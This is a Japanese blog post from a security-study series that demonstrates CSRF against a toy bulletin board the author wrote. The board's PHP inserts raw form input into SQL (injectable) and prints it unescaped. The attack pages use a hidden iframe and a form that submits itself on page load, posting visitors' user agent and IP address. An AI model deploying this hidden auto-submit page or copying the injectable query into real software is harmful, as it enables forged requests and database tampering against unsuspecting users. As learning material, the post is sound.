読者です 読者をやめる 読者になる 読者になる

つけじょにーのすぱげていコード

主に、競技プログラミング、セキュリティのお勉強の際に書いたすぱげていコードを書き込みます

CSRF(CrossSite Request Forgery)

Vulnerability

CSRFを行うスクリプトPHPで作成してみました。
実際のものを攻撃できないので、掲示板を即席で作成したのですが、利用者フォームもない不親切な掲示板です(あくまでCSRFの動作が確認できることを目的とした)。

掲示板プログラム

<html>
	<head>
		<title>掲示板</title>
	</head>

	<body>
		<h1>投稿一覧</h1>
		<?php

		if($_SERVER["REQUEST_METHOD"] == "POST"){
		    writePostData();
		}

		function printPostsData() {
			try {
	    		        $db = new SQLite3('posted.db');
		  	} catch (Exception $e) {
		    	        return;
		  	}

		  	//発行するSQL文
		  	$sql = "SELECT * FROM posts;";

		  	// SQLの実行
		  	try {
		    	        //キーワード取得部分
		    	        $result = $db->query($sql);
		    	while($data = $result->fetchArray()) {
		        	print $data["name"] . ":" . $data["email"] . ":" . $data["ipaddr"] . "<br>";
		        	//print "\n";
		    	}
		  	} catch (Exception $e) {
		    	         return;
		  	}
		}

		function writePostData() {
			$name = $_POST["name"];
			$email = $_POST["email"];
			$ipaddr = $_POST["ipaddr"];
			$comment = $_POST["comment"];

			try {
	    		$db = new SQLite3('posted.db');
		  	} catch (Exception $e) {
		    	return;
		  	}

		  	//発行するSQL文
		  	$sql = "INSERT INTO posts VALUES('" . $name . "', '" . $email . "', '" . $ipaddr . "', '" . $comment . "');";

		  	// SQLの実行
		  	try {
		    	        $result = $db->exec($sql);
		  	} catch (Exception $e) {
		    	        return;
		  	}
		}

		printPostsData();
		?>

</body>

CSRF動作プログラム
index.php

<html>
	<head>
		<link rel="stylesheet" type="text/css" href="csrf.css" media="all">
		<title>Welcome!</title>
	</head>

	<body>
		<img src="gil.jpeg" onclick=<?php $myIPAddr = exec("ifconfig | grep 192.168.100. | cut -d ' ' -f 2"); print "location.href='http://" . $myIPAddr . "/csrf/board/board.php';" ?> >
		<h1>引っかかったな?悔しければ、俺をクリックしてみるがいい!</h1>
		<iframe width="1" height="1" class="only" src="csrf.php"></iframe>
	</body>

</html>

csrf.php

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html" charset="utf8">
		<title>submitter</title>
	</head>
	<body onLoad="document.forms[0].submit();">
		<form action="board/board.php" method="post">
			<input type="text" name="name" value=<?php $userAgent = $_SERVER["HTTP_USER_AGENT"]; print $userAgent; ?> />
			<input type="text" name="email" value=<?php $remoteUser = $_SERVER["REMOTE_USER"]; print $remoteUser . "@example.com"; ?> />
			<input type="hidden" name="ipaddr" value=<?php $ipAddress = $_SERVER["REMOTE_ADDR"]; print $ipAddress; ?> />
			<input type="text" name="comment" value=<?php $rand = mt_rand(0, 10000000); print $rand; ?> />	
			<input type="submit" />
		</form>
	</body>
</html>

csrf.css

.only {
	width:450; 
        height:680;
   border:none;
   margin: 0px;
   overflow: hidden;
   display: none;
}

CSSがなくても、属性でdisplay:noneを指定できるのですが、とりあえずCSSを使う形式で作成してみました。
gil.jpegFate のギル様です。
クリックすると、掲示板表示されるようになっています。